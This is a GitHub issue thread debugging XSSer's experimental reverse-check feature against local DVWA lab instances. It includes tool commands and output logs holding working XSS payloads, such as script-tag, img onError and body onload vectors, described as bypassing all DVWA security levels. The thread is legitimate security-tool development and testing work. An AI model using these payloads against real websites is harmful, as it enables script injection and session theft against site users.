search

epsylon / xsser

Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.
https://xsser.03c8.net
1.21k stars 240 forks source link

--reverse-check fails due to initial cookies improperly added to second query with reverse payload #65

Closed wbowditch closed 4 years ago

wbowditch commented 4 years ago

Describe the bug --reverse-check silently fails due to cookies being improperly added to the second query with the reverse payload. I demonstrate this bug on a DVWA page, but the bug is present on any reverse check to a site that requires cookies. I've also submitted a pull request to resolve this bug. Let me know if there's anything I need to change and thanks for the tool!

To Reproduce 1) Run XSSer against any DVWA "Reflected XSS" page with the low security cookie, a PHPSESSID cookie, and DEBUG enabled. 2) Observe the following error:

OSError: [Errno 8] Exec format error: '/Users/williambowditch/xsser/core/driver/geckodriver'

3) Swap the geckodriver driver with a driver compatible with your Operating System 3) Run step 1 again, observe that no error is now displayed but that the reverse-check still fails. 4) Modify the generate_headless_cookies() method to properly add the initial request cookies to the web driver. 5) Run step 1 again, observe that the reverse-check succeeds.

Expected behavior Expected behaviour is for the reverse check to succeed on DVWA with low security.

Screenshots Command that was unchanged across all runs:

python3 ./xsser -u 'http://192.168.0.35' -g '/dvwa/vulnerabilities/xss_r/?name=XSS' --cookie 'security=low;PHPSESSID=c2cbf6781f813882f71d6e48679df125' --reverse-check

Snippet of output before code change:

===========================================================================
[*] List of XSS injections:
===========================================================================

-> CONGRATULATIONS: You have found: [ 1 ] possible XSS vector! ;-)

---------------------

[+] Target: http://192.168.0.35 | /dvwa/vulnerabilities/xss_r/?name=XSS
[+] Vector: [ name ]
[!] Method: URL
[*] Hash: 6c4dd19e8bfdf2ab96e078780b9550e3
[*] Payload: http://192.168.0.35/dvwa/vulnerabilities/xss_r/?name=%22%3E6c4dd19e8bfdf2ab96e078780b9550e3
[!] Vulnerable: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]
 --------------------------------------------------

Snippet of output after code change:

===========================================================================
[*] List of XSS injections:
===========================================================================

-> CONGRATULATIONS: You have found: [ 1 ] XSS vector [100% VULNERABLE]! ;-)

---------------------

[+] Target: http://192.168.0.35 | /dvwa/vulnerabilities/xss_r/?name=XSS
[+] Vector: [ name ]
[!] Method: URL
[*] Hash: 77e1716190e63535ec4d5b16b71da7f7
[*] Payload: http://192.168.0.35/dvwa/vulnerabilities/xss_r/?name=%22%3E77e1716190e63535ec4d5b16b71da7f7
[!] Vulnerable: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
[!] Status: XSS FOUND! [100% VULNERABLE]
 --------------------------------------------------

Running environment:

Target details:

Additional context Bug is present on any request that requires cookies Request fails silently

epsylon commented 4 years ago

Thank you very much for your input. I'm going to review what was discussed in the pull request and I'll upload a patch as soon as I have it.

epsylon commented 4 years ago

@wbowditch Here you have a detailed explanation about the report you have made, after having investigated it, as well as a patch that fixes it.

Explanation: https://github.com/epsylon/xsser/pull/66#issuecomment-626449122

Patch: https://github.com/epsylon/xsser/commit/d22ef5b8f80293627dbfd1b28730e727706cb360

Thank you very much again for your time... ;-)

wbowditch commented 4 years ago

Hey @epsylon , thanks for the speedy response! I spent some time running/reviewing your changes and unfortunately the fix does not work for me - the reverse check still fails when passing the security=low cookie. It seems that the security cookie is now duplicated, one high one low, and since the high cookie has a longer path the reverse check fails. (to give context, the XSS does not work when the security=high cookie is set in DVWA, which is expected behaviour).

I understand that your change is neccessary in order to fetch the cookies that the webpage wants to set followed by overriding the cookies we care about (provided by --cookies). However it appears that DVWA is adding the security=high cookie back to the browser, and since the security=high path is more specific than the security=low cookie path, security=high is chosen and the XSS fails. Despite my best efforts I can't seem to remove this security=high cookie - according to self.driver.get_cookies() everything is fine and dandy with no high security cookie to be seen!

image

This is most likely a quirk in DVWA - every DVWA page you visit adds a different "security" cookie with a different path. Unfortunately I'm unable to identify a means of making xsser work for DVWA without my code change. Feel free to investigate this as many others might be demoing xsser in DVWA before use in the wild, but up to you whether it's a priority.

Personally I'd love to see your resolution to this because I'm a bit of a webdev noob and I just spent way too long digging into this, so it'll be bugging me for a while :)

If you're able to test the reverse check against DVWA that'd be appreciated too, but no worries if not.

Thanks again!

epsylon commented 4 years ago

Hey @wbowditch, you welcome. This looks like a nice challenge ;-)

the fix does not work for me - the reverse check still fails when passing the security=low cookie

Well ... I have tried it, as I was saying, in various scenarios (GET / POST) and it works for me.

Perhaps we have left some detail and we should look more deeply at the configurations that we are using, otherwise, I do not understand ...

to give context, the XSS does not work when the security=high cookie is set in DVWA, which is expected behaviour

Good, but here you are proposing a different scenario to the previous one. In other words, what you want to do is overcome the cookie with high security. It may be that we actually have to develop a little more how DWVA works. But, I insist, this does not clarify your argument that with low security, it does not work. Maybe I'm not getting it right. However it appears that DVWA is adding the security=high cookie back to the browser, and since the security=high path is more specific than the security=low cookie path, security=high is chosen and the XSS fails

I see...Interesting. Let me research a bit on that way. Perhaps a solution is to overwrite both with the value we want, overriding the priority given by the server.

I'm unable to identify a means of making xsser work for DVWA without my code change

Sure it's possible, my friend. For example, using storage on a tmp file to restore it when its need. And of course, not creating a "dict()" on every "for" iteration, which doesn't look like a good coding practice, hehe.... :P

Personally I'd love to see your resolution to this

Make no mistake that I am with it and we are going to solve it, I hope, in the most elegant way possible. I need that if I understand perfectly that the priority is to overcome the high security barrier, and that we first settle the issue, that the low security barrier is already overcome. I say this because both are related and of course, because most users will find low and medium security measures, rather than high. This does not mean that we should not contemplate all of them. And that we are going to do.

As soon as it has a result, I will notify you.

epsylon commented 4 years ago

@wbowditch I think that i have set the environment correctly to try your quest. Let's check firstly, this:

# Default security level
#   Default value for the secuirty level with each session.
#   The default is 'impossible'. You may wish to set this to either 'low', 'medium', 'high' or impossible'.
**$_DVWA[ 'default_security_level' ] = 'high';**

# Default PHPIDS status
#   PHPIDS status with each session.
#   The default is 'disabled'. You can set this to be either 'enabled' or 'disabled'.
$_DVWA[ 'default_phpids_level' ] = 'disabled';

# Verbose PHPIDS messages
#   Enabling this will show why the WAF blocked the request on the blocked request.
#   The default is 'disabled'. You can set this to be either 'true' or 'false'.
$_DVWA[ 'default_phpids_verbose' ] = 'false';

Is this set similar to yours?

wbowditch commented 4 years ago

In other words, what you want to do is overcome the cookie with high security.

To clarify any confusion, I'm not trying to perform a successful reverse-check on high security. I'm trying to perform a successful reverse check on medium or low security. The issue is that the high security cookie is being appended to the request seemingly out of no where - even with substantial logging the high cookie is not present on the driver after the generate_headless_cookie overwrite and it is not present before the reverse check call. The high cookie is taken by the DVWA over the cookie created/edited in "generate_headless_cookies()'. Maybe it has to do with the orig_url and tok_url being different pages, therefore having different cookie access?

Is this set simliar to yours?

Unfortunately I'm not seeing those environment variables in my config.inc.php.dist file. Since the default security level for my DVWA appears to be high I'm assuming they're the same as what you've presented. However, if you're able to run your master branch with reverse-check on the Reflective XSS DVWA page, then that will prove it's something wrong with my configuration. Let me know and good luck!

epsylon commented 4 years ago

I have advanced the complexity of the reverse shell exploitation system, so that it works at all the security levels proposed in the test application, using cookies. You'll have to clone the repository again, as soon as the patch comes up.

python3 xsser -u "http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS" --cookie "security=low;PHPSESSID=c9l45pl0dh4ebl3mvbt1fsdka1" --reverse-check 

===========================================================================

XSSer v1.8[3]: "The HiV€!" - (https://xsser.03c8.net) - 2010/2020 -> by psy

===========================================================================
Testing [XSS from URL]...
===========================================================================
===========================================================================
[*] Test: [ 1/1 ] <-> 2020-05-12 03:13:41.999605
===========================================================================

[+] Target: 

 [ http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS ]

---------------------------------------------

[!] Hashing: 

 [ 6449cfe06e9963c1525a4754023256cc ] : [ name ]

---------------------------------------------

[*] Trying: 

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%22%3E6449cfe06e9963c1525a4754023256cc

---------------------------------------------

[+] Vulnerable(s): 

 [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

---------------------------------------------

=============================================
[*] Injection(s) Results:
=============================================

 [FOUND !!!] -> [ 6449cfe06e9963c1525a4754023256cc ] : [ name ]

=============================================
[*] Reverse Check(s) Results:
=============================================

[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name="><SCrIpT>document.location=document.location.hash.substring(1)</ScRiPt> 

-------------------------

[Info] Validating HASHES:

 INJECTED: [ 6449cfe06e9963c1525a4754023256cc ] <-> RECEIVED: [ 6449cfe06e9963c1525a4754023256cc ] -> [OK!]

-------------------------

[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:

|-> http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS 

-------------------------

===========================================================================
[*] Final Results:
===========================================================================

- Injections: 1
- Failed: 0
- Successful: 1
- Accur: 100.0 %

===========================================================================
[*] List of XSS injections:
===========================================================================

-> CONGRATULATIONS: You have found: [ 1 ] XSS vector [100% VULNERABLE]! ;-)

---------------------

[+] Target: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS
[+] Vector: [ name ]
[!] Method: URL
[*] Hash: 6449cfe06e9963c1525a4754023256cc
[*] Payload: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%22%3E6449cfe06e9963c1525a4754023256cc
[!] Vulnerable: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
[!] Status: XSS FOUND! [100% VULNERABLE] 
 --------------------------------------------------

python3 xsser -u "http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS" --cookie "security=medium;PHPSESSID=heitrdgki1pfele1kelrv1qvb6" --reverse-check

===========================================================================

XSSer v1.8[3]: "The HiV€!" - (https://xsser.03c8.net) - 2010/2020 -> by psy

===========================================================================
Testing [XSS from URL]...
===========================================================================
===========================================================================
[*] Test: [ 1/1 ] <-> 2020-05-12 03:11:41.757715
===========================================================================

[+] Target: 

 [ http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS ]

---------------------------------------------

[!] Hashing: 

 [ 9b9703bfd4e5bf813bc2f1ac3b951f65 ] : [ name ]

---------------------------------------------

[*] Trying: 

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%22%3E9b9703bfd4e5bf813bc2f1ac3b951f65

---------------------------------------------

[+] Vulnerable(s): 

 [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

---------------------------------------------

=============================================
[*] Injection(s) Results:
=============================================

 [FOUND !!!] -> [ 9b9703bfd4e5bf813bc2f1ac3b951f65 ] : [ name ]

=============================================
[*] Reverse Check(s) Results:
=============================================

[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name="><SCrIpT>document.location=document.location.hash.substring(1)</ScRiPt> 

-------------------------

[Info] Validating HASHES:

 INJECTED: [ 9b9703bfd4e5bf813bc2f1ac3b951f65 ] <-> RECEIVED: [ 9b9703bfd4e5bf813bc2f1ac3b951f65 ] -> [OK!]

-------------------------

[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:

|-> http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS 

-------------------------

===========================================================================
[*] Final Results:
===========================================================================

- Injections: 1
- Failed: 0
- Successful: 1
- Accur: 100.0 %

===========================================================================
[*] List of XSS injections:
===========================================================================

-> CONGRATULATIONS: You have found: [ 1 ] XSS vector [100% VULNERABLE]! ;-)

---------------------

[+] Target: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS
[+] Vector: [ name ]
[!] Method: URL
[*] Hash: 9b9703bfd4e5bf813bc2f1ac3b951f65
[*] Payload: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%22%3E9b9703bfd4e5bf813bc2f1ac3b951f65
[!] Vulnerable: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
[!] Status: XSS FOUND! [100% VULNERABLE] 
 --------------------------------------------------

python3 xsser -u "http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS" --cookie "security=high;PHPSESSID=03gk07ijej7t31arv3j9jvmlk6" --reverse-check --payload="<img src=x onError=alert('XSS')>"

===========================================================================

XSSer v1.8[3]: "The HiV€!" - (https://xsser.03c8.net) - 2010/2020 -> by psy

===========================================================================
Testing [XSS from URL]...
===========================================================================
===========================================================================
[*] Test: [ 1/1 ] <-> 2020-05-12 04:13:12.001778
===========================================================================

[+] Target: 

 [ http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS ]

---------------------------------------------

[!] Hashing: 

 [ 5936fbc2343a197bf2bcc8d2d5b74e0e ] : [ name ]

---------------------------------------------

[*] Trying: 

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onError%3Dalert%28%275936fbc2343a197bf2bcc8d2d5b74e0e%27%29%3E

=============================================
[*] Injection(s) Results:
=============================================

 [FOUND !!!] -> [ 5936fbc2343a197bf2bcc8d2d5b74e0e ] : [ name ]

=============================================
[*] Reverse Check(s) Results:
=============================================

[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<img+src=x+onError=document.location=document.location.hash.substring(1)> 

-------------------------

[Info] Validating HASHES:

 INJECTED: [ 5936fbc2343a197bf2bcc8d2d5b74e0e ] <-> RECEIVED: [ 5936fbc2343a197bf2bcc8d2d5b74e0e ] -> [OK!]

-------------------------

[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:

|-> http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS 

-------------------------

===========================================================================
[*] Final Results:
===========================================================================

- Injections: 1
- Failed: 0
- Successful: 1
- Accur: 100.0 %

===========================================================================
[*] List of XSS injections:
===========================================================================

-> CONGRATULATIONS: You have found: [ 1 ] XSS vector [100% VULNERABLE]! ;-)

---------------------

[+] Target: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS
[+] Vector: [ name ]
[!] Method: MANUAL
[*] Hash: 5936fbc2343a197bf2bcc8d2d5b74e0e
[*] Payload: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onError%3Dalert%28%275936fbc2343a197bf2bcc8d2d5b74e0e%27%29%3E
[!] Status: XSS FOUND! [100% VULNERABLE] 
 --------------------------------------------------
epsylon commented 4 years ago

I am 100% sure that you are wrong. In fact, I think you have forgotten to refresh (or close and reopen) the browser, after logging in again, so that cookies are cleaned (if you have them to be cleaned when doing so). You can also do it manually. The DVWA application only uses two cookies. The third one that appears in your image is residual.

In fact, I have not touched at any time the piece of code that you were proposing, since the gecko driver wrapper, and the pycurl application, are well connected through SimpleCookie, through certain wrapping, so that it is not necessary:

https://github.com/epsylon/xsser/blob/master/core/main.py#L1686

The error exists, but I insist, it is not where you propose, nor does it have to do with cookies, nor with the Firefox headless driver that we use internally.

However, what remained to be done (and there is still a long way to go) is the --reverse-check system (which is, by the way, experimental and I started it this year).

With the patch I have made, it is possible to inject code manually, and the reverser tries to adapt it to an automated situation (not an easy task). Since there are many types of vectors (not only "> ,, there is also OnError =, etc ... in fact there are more than 5000 in XSSer), and restriction (length, certain characters, etc.). Therefore , is a very complex task.

So far, what I have done has been adapting it to several very common ones, trying to cover as many of them as possible.

The result is enough to bypass all the security measures proposed by the test application, in just seconds and after a couple of commands. It's not bad at all...

Here is the patch.

https://github.com/epsylon/xsser/commit/43ed4ab53de14d33733671132d9d84ac28a8e8fd

To finish, I leave you a payload that I have discovered (heheh, although I imagine it has already been reported), testing: security: medium

xsser -u "http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS" --cookie "security=medium;PHPSESSID=pamoiu15kv4anfmgagas7l8bl6" --reverse-check --payload="<body onload=alert('XSS')>"

===========================================================================

XSSer v1.8[3]: "The HiV€!" - (https://xsser.03c8.net) - 2010/2020 -> by psy

===========================================================================
Testing [XSS from URL]...
===========================================================================
===========================================================================
[*] Test: [ 1/1 ] <-> 2020-05-12 05:04:03.954616
===========================================================================

[+] Target: 

 [ http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS ]

---------------------------------------------

[!] Hashing: 

 [ 43ea7e1540805ef2e6258b04c36a3399 ] : [ name ]

---------------------------------------------

[*] Trying: 

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cbody+onload%3Dalert%28%2743ea7e1540805ef2e6258b04c36a3399%27%29%3E

=============================================
[*] Injection(s) Results:
=============================================

 [FOUND !!!] -> [ 43ea7e1540805ef2e6258b04c36a3399 ] : [ name ]

=============================================
[*] Reverse Check(s) Results:
=============================================

[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:

http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=<body+onload=document.location=document.location.hash.substring(1)> 

-------------------------

[Info] Validating HASHES:

 INJECTED: [ 43ea7e1540805ef2e6258b04c36a3399 ] <-> RECEIVED: [ 43ea7e1540805ef2e6258b04c36a3399 ] -> [OK!]

-------------------------

[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:

|-> http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS 

-------------------------

===========================================================================
[*] Final Results:
===========================================================================

- Injections: 1
- Failed: 0
- Successful: 1
- Accur: 100.0 %

===========================================================================
[*] List of XSS injections:
===========================================================================

-> CONGRATULATIONS: You have found: [ 1 ] XSS vector [100% VULNERABLE]! ;-)

---------------------

[+] Target: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=XSS
[+] Vector: [ name ]
[!] Method: MANUAL
[*] Hash: 43ea7e1540805ef2e6258b04c36a3399
[*] Payload: http://127.0.0.1/DVWA/vulnerabilities/xss_r/?name=%3Cbody+onload%3Dalert%28%2743ea7e1540805ef2e6258b04c36a3399%27%29%3E
[!] Status: XSS FOUND! [100% VULNERABLE] 
 --------------------------------------------------
wbowditch commented 4 years ago

I am 100% sure that you are wrong. In fact, I think you have forgotten to refresh (or close and reopen) the browser, after logging in again, so that cookies are cleaned (if you have them to be cleaned when doing so). You can also do it manually. The DVWA application only uses two cookies. The third one that appears in your image is residual.

Thanks for this write up! I don't believe the issue had to do with my browser cookies. I was able to reproduce the bug from multiple computers on my network. The issue had to do with my out of date DVWA version -v1.0.7 packaged with Metasploitable 2. I suspected this was the case when I saw you beat the high difficulty so easily, since prior to DVWA v1.9, the impossible level was known as 'high'.

I was able to successfully run the reverse check using the DVWA v1.10 - awesome!

However, I'm wary about what caused the fix though - it seems that in DVWA v1.10 the default is now 'low' instead of 'high'. Since my previous issue was due to that default cookie being 'high'(aka impossible), I wondered if now a bug could occur for the opposite reason: xsser outputs a positive on the "impossible" level because of the application's default "low" cookie.

Since the reverse check doesn't run if the initial check fails, I modified the add_failure() method in core/main.py to test my theory:

    def add_failure(self, dest_url, payload, hashing, query_string, orig_url, method='url'):
        """
        Add an attack that failed to inject
        """
        print("Still do a reverse check even though hash failed")
        self.hash_found.append((dest_url, "[hashing check]", method, hashing, query_string, payload, orig_url))
        self.do_token_check(orig_url, hashing, payload, query_string, dest_url)

You can see my branch with my fork here, if you wish to verify yourself.

It appears my theory was right - the app's default 'low' cookie leads to a false positive for the revese check on the "impossible" rating:

❯ python3 xsser -u "http://127.0.0.1/vulnerabilities/xss_r/?name=XSS" --cookie "security=impossible;PHPSESSID=3qa6poq88sh3laevivbgfep1q5"  --reverse-check
===========================================================================

XSSer v1.8[3]: "The HiV€!" - (https://xsser.03c8.net) - 2010/2020 -> by psy

===========================================================================
Testing [XSS from URL]...
===========================================================================
===========================================================================
[*] Test: [ 1/1 ] <-> 2020-05-13 18:55:38.029670
===========================================================================

[+] Target:

 [ http://127.0.0.1/vulnerabilities/xss_r/?name=XSS ]

---------------------------------------------

[!] Hashing:

 [ 5a0f51315a72cac035c066ae9b83c2be ] : [ name ]

---------------------------------------------

[*] Trying:

http://127.0.0.1/vulnerabilities/xss_r/?name=%22%3E5a0f51315a72cac035c066ae9b83c2be

---------------------------------------------

[+] Vulnerable(s):

 [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]

---------------------------------------------

=============================================
[*] Injection(s) Results:
=============================================

Still do a reverse check even though hash failed
 [NOT FOUND] -> [ 5a0f51315a72cac035c066ae9b83c2be ] : [ name ]

=============================================
[*] Reverse Check(s) Results:
=============================================

[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:

http://127.0.0.1/vulnerabilities/xss_r/?name="><SCrIpT>document.location=document.location.hash.substring(1)</ScRiPt>

-------------------------

[Info] Validating HASHES:

 INJECTED: [ 5a0f51315a72cac035c066ae9b83c2be ] <-> RECEIVED: [ 5a0f51315a72cac035c066ae9b83c2be ] -> [OK!]

-------------------------

[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:

|-> http://127.0.0.1/vulnerabilities/xss_r/?name=XSS

-------------------------

===========================================================================
[*] Final Results:
===========================================================================

- Injections: 2
- Failed: 1
- Successful: 1
- Accur: 50.0 %

===========================================================================
[*] List of XSS injections:
===========================================================================

-> CONGRATULATIONS: You have found: [ 1 ] XSS vector [100% VULNERABLE]! ;-)

---------------------

[+] Target: http://127.0.0.1/vulnerabilities/xss_r/?name=XSS
[+] Vector: [ 5a0f51315a72cac035c066ae9b83c2be ]
[!] Method: name
[*] Payload: {'payload': '">PAYLOAD', 'browser': '[IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]'}
[!] Status: HASH FOUND!
 --------------------------------------------------

Although this output required a code change to force the reverse check to run regardless of the initial check, it may lead to false positives in circumstances where the intial check returns a false positive and then the reverse check erroneously confirms that false positive. That being said, this depends on whether this cookie behaviour is unique to DVWA thereby not making it relevant to the wild :)

epsylon commented 4 years ago

The issue had to do with my out of date DVWA version -v1.0.7 packaged with Metasploitable 2.

Well. This makes the thing much more clear...

I was able to successfully run the reverse check using the DVWA v1.10 - awesome!

Yeah! ;-)

it may lead to false positives in circumstances where the intial check returns a false positive and then the reverse check erroneously confirms that false positive

In fact, you are right. But it is a question that I already knew. It has to do with the "dilemma" of having to inject a code that allows a reverse connection, on a valid payload.

And indeed, the first vector may be "false" or "true" and that of the reverse shell, being a very different one, may give the opposite. Simply because they are not the same.

In the second payload, we must enter the return address, as well as "hack" the DOM so that it executes the action, in addition, without leaving a trace in the server logs. Something tremendously ingenious, but complex to execute.

That's why I highlighted in the previous message, that it is an experimental function.

You can see my branch with my fork here, if you wish to verify yourself.

I will take a look...

That being said, this depends on whether this cookie behaviour is unique to DVWA thereby not making it relevant to the wild :)

Finally! .. give me a hug ;-)